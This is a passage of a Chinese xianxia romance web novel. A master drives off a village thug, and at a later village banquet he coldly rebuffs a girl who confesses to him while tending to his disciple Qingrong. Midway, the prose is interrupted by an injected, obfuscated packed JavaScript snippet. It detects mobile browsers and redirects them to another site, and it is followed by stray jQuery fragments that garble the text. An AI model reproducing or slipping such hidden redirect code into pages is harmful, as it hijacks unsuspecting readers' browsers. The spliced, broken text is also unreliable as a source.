此般心狠手辣,连青容都愣了一愣。


    那群混混更是吓得魂儿都没了,哪里还敢停留,忙不迭拖起惨叫不止的赵癞子,如同丧家之犬般仓皇逃离,留下一路刺目的血迹。


    凄惨的嚎叫渐渐远去。


    院子里一片死寂,只剩下李老汉夫妇劫后余生的粗重喘息,空气中弥漫的着淡淡的血腥味。


    青容站在慕砚恒身后,目光落在那柄钉在泥地里沾着血的短刀上,一时竟不知该如何开口。


    “吓着了?”慕砚恒微微侧身,目光落在她脸上。


    青容摇摇头,扯出个浅笑:“无事的,他们还没那本事令我受惊,多谢师父。”


    真装啊……青容暗自想。


    她以前怎么没发现,慕砚恒还有这癖好,明知她不可能有事,还要出手相救,然后装模作样的问候一番。她若真被这几个人吓到了,那这十年修习当真是白修。


    可刚刚他那掩盖不住的怒意,又不似作伪。


    慕砚恒应了一声,随即视线转向一旁浑身发抖的李婆子,很明显受到的惊吓不比赵癞子少多少,也不知是激动,还是惧怕他。


    毕竟,谁能料到随手收留的过客,居然是当朝王爷,还是最特殊最不能惹的那个。


    他袖口因洗碗留下的水渍甚至还没干透。


    慕砚恒眼中的冷厉已然褪去,虽依旧深邃,却不再有迫人的寒意。


    “李婆婆。”慕砚恒开口,语气竟称得上温和,跟他刚才动手时的狠厉判若两人,“今日之事,烦请勿要声张,本王的身份也请代为保密,莫与外人提起。”


    李婆子先是一愣,随即反应过来,心头一热,她连忙摆手:“哎哟使不得使不得,王爷……仙师大人您太折煞老婆子了,您放心,您和姑娘安心住着,今儿个这事儿,还有您的身份,老婆子我保证烂在肚子里,一个字儿都不往外蹦!”


    慕砚恒对她混乱的称呼并未多言,只是微微颔首,算是应下,李婆子这才松了口气,拉着还在发懵的李老汉就要跪下磕头:“谢王爷救命之恩,谢您二位的大恩大德啊。”


    “不必多礼。”慕砚恒托住了李婆子的手臂,“本王在此叨扰数日,给二位添了不少麻烦,也应当为柳溪村做些事。”


    李婆子更是感动得不行,只能一个劲儿作揖道谢。


    慕砚恒不再多言,转身走向庭院中那棵紫荆树下,青容知道,他闲暇时就喜欢在树下发呆,只是他身姿绰约,村落的树却不似临霜教那般繁荣,便总会让画面显出几分不和谐。


    可今天看着,竟出奇的顺眼。


    她站在竹椅旁,将这一切细微的变化尽收眼底,阳光透过枝叶缝隙,在他身上洒下温暖的光晕。


    好像刚刚的狠厉只是一场错觉。


    她的目光不由自主再次落向那柄深深钉入泥地的刀。


    师父出手治理恶人,维护秩序,保护她这个徒弟,都在情理之中,以他的身份和能力,让赵癞子滚蛋或者施以惩戒,都算不得什么。


    可是,那最后一刀,就有些夸张了。


    他毕竟是仙门护教,恶人应当受惩,以他的身份,让贺景麟处理了就是,贺景麟刚刚势起,必不会放过这眼皮子底下的恶事。


    他自己动手,只有麻烦,没半点好处。


    一个念头不受控制的浮上心头:慕砚恒的反应,似乎有些太大了。


    这念头让她心里莫名一跳,她迅速有了些不合时宜的想法,可那“动心了就会显露的好感进度条”始终没有动静。


    也许,只是她多心了。


    慕砚恒向来手段果决,对这等恶徒施以重手震慑,也符合他一贯的行事风格,应当只是顺手而为之,那些麻烦对他而言,大概根本不算事。


    她移开视线,默默走过去想把那刀拔出来清理掉,慕砚恒看了她一眼,破天荒的道:“血脏,我来吧。”


    真是怪了事了,青容想。


    换成以往,慕砚恒不但不会收拾,反而会命令她来收拾,美其名曰“我都救了你了你收拾残局也是理所应当”。


    如今转了性,她是真不习惯。


    “师父,”她忍不住脱口而出,“您最近是不是被什么脏东西上身了?”


    慕砚恒:“……”


    这暴言把李婆子老两口吓了一跳,但转念一想,人家师徒亲近,指不定平时就爱这么闹着玩呢,也就当个热闹看。


    慕砚恒的脸肉眼可见的黑了黑,好不容易温和的气质又成了往常的模样。


    “看来徒儿很闲啊,那就去把剩下的碗洗了。”他声音凉飕飕的。


    青容歪头:“师父刚刚不是洗完了吗?”


    “再洗一遍,顺便把为师的外袍也洗了,还有,不许把为师的外袍披在身上。”


    “……”青容哼哼两声,故意把搭在椅背上的玄色外袍扯过来往身上一裹,“就盖。”


    “盖了就别想回临霜教。”


    青容眼珠一转:“那上次溯洄镜的事儿……”


    慕砚恒:“……”


    他深吸一口气:“仅此一次,下不为例。”


    …


    柳溪村有个不成文的习俗,哪家有了值得庆贺的喜事,便会请全村人吃顿席。李家虽不富裕,但感念慕砚恒吓退赵癞子的恩情,又见青容伤势大好,便张罗了几桌简单的酒菜,请了左邻右舍来热闹热闹。


    其他村民也得知了慕砚恒赶走赵癞子的事,都是感激不已,只是李婆子没有透露慕砚恒的王爷身份,只说慕砚恒武艺超群,学过些仙法,将那帮人都揍了一顿,赵癞子被震慑,承诺从此不来打扰。


    傍晚,李家院前支起方桌,也有许多村民热情的带了些自家做的菜,院中顿时喧闹起来,满是欢声笑语。


    青容和慕砚恒被李婆子硬拉着坐到了主桌,慕砚恒依旧是那副生人勿近的冷肃模样,玄衣在暖融融的灯笼光下显得格格不入。村民们敬畏他的仙师身份,也不太敢上前搭话,只远远敬酒。


    反倒是青容亲和不少,很快与村民聊络起来。


    酒过三巡,张婶几杯下肚,胆子壮了,拉着青容的手,嗓门洪亮:“青容姑娘,你和仙师大人可真是我们村的大英雄啊,还都生的这般好,你们……可有定亲?有没有心仪的人啊?”


    喧闹的院子静了一瞬,目光齐刷刷聚过来,连玩闹的孩子都好奇张望。


    张婶没有明说,但只要不算特别蠢笨的人都清楚她到底拐着弯在问什么。


    青容心中了然,面上只浮起一丝恰到好处的浅笑:“仙师大人是我师父,教导之恩重于山,我这些年奔波于江湖,习惯了自由的生活,亦不曾,也不想定亲。”


    她语气平和,澄清得清晰有力,目光却顺势转向慕砚恒。


    慕砚恒神色未变,只是沉默着又抿了口酒,似乎对这个话题并不感兴趣。


    他没有表态?青容眼底掠过一丝审视。


    就在这时,一个清脆大胆的声音插了进来:“张婶,您可别乱点鸳鸯谱啦!”


    村里最漂亮的姑娘春妮端着酒杯,脸颊绯红,杏眼含情,目标明确的走向慕砚恒,声音又甜又亮:“仙师大人一看就是顶天立地的大英雄,这样的人物,哪能这么轻易就就定下了呀?”


    她举杯到慕砚恒面前,含羞带怯:“仙师大人,春妮敬您一杯,多谢您赶走了赵癞子!”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546265|178579||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    村中人向来朴实无华,直率得很,春妮炽热的倾慕之意没有半分掩藏。


    青容执筷的手一滞,冷静观察着,她看到春妮眼中的期待,也看到慕砚恒终于抬起了眼。


    他的目光淡漠地扫过春妮那张青春洋溢的脸,那眼里并无波澜,只余一片疏离,他未看那杯酒,薄唇微启。


    “多谢。”


    这是对慕砚恒而言,难得的一句符合礼数的客套话,完全是因收留之情才有的谦和。


    春妮以为得了回应,脸上红晕更盛,胆子也更大了,声音带着雀跃:“仙师大人您太客气了,您不知道,您那天威风凛凛的样子,我们村里多少姑娘都……都仰慕得很呢,您看您……”她上前一步,身体微微前倾,眼波流转,“您喜欢什么样的姑娘呀?我们柳溪村山好水好,姑娘也……”


    “不必。”


    声音不高,却有些凉意,春妮脸上的红晕瞬间褪尽,笑容僵住,眼圈泛红,举杯的手尴尬的悬在空中。


    “为何?”她忍不住问,“是仙师已经成亲了吗?”


    这回慕砚恒没理她,只是低头挑鱼刺,再把剔好的肉放在青容碗中。


    青容:“……”


    给她招仇恨呢。


    这人是不是有毛病,千万种婉拒的法子,选最让人窝火的那种,还顺便把她拖下水。


    神经啊。


    当众表白被拒,对女孩子来说是一件极其打击的事,春妮有些难堪,愤愤哼了两声,转身离开了。


    慕砚恒却似拂去一粒微尘,目光未在她离去方向停留半秒。


    青容心道果然,方才那句“多谢”,不过是教养使然,一旦触及边界,他便会立刻显露出拒人千里的本质。


    实在是不近人情的很。


    也实在苦了人家小姑娘那满腔热情,她要是被这么对待,高低得骂上两句。


    气氛一时凝滞,张婶赶紧打圆场:“哎呀,小孩子不懂事,仙师大人莫怪,喝酒喝酒!”


    慕砚恒也没有回应张婶,他拿起桌上的酒壶,只给青容添了小半杯酒。


    “伤没好全,少喝些。”他轻声道。


    青容点点头,她又不傻,她那可怜巴巴的酒量摆在这,如今二人同处一室,她可不敢再乱喝了。


    就在这微妙的安静中,坐在邻桌一直没吭声的猎户王老七借着几分酒意,忽然朝青容这边扬了扬下巴,声音不大不小,带着点粗犷的直白:“青容姑娘,仙师大人待你这徒弟,可是真不赖啊,又是护着,又是剔刺,又是……”


    他顿了顿,似乎在斟酌词句,最终咧嘴一笑:“又是给你倒酒,俺们村可没见哪个师父这么疼徒弟的。”


    这话一出,原本有些缓和的空气又是一滞,村民们交换着眼神,有些了然,有些困惑,有些则带着探究看向青容和慕砚恒。


    青容心道不妙,握着酒杯的手微微收紧,面上却不动声色:“王叔说笑了,师父待弟子一向宽厚,教导有方,并无特别。”


    话本中的“误会”剧情她等待已久,然而此时实在不是什么好时候,这细水流长的同处本来已极为顺利,若此时打破,反而不妙。


    然而,王老七显然没领会到青容的用意,或者酒意上头根本没细想,他见青容搭话,又见慕砚恒沉默不语,胆子更大了些,嘿嘿一笑:“青容姑娘,你莫哄俺,俺老王打了一辈子猎,眼神毒着呢,仙师大人看你那眼神儿,还有你俩往那一坐那架势。”


    他打了个酒嗝,声音拔高了几分:“一个冷着脸,一个绷着劲儿,可那眼神儿勾勾缠缠的,瞒得过谁啊?俺瞧着,你俩不应该是师徒,就该是……”


    “住口!”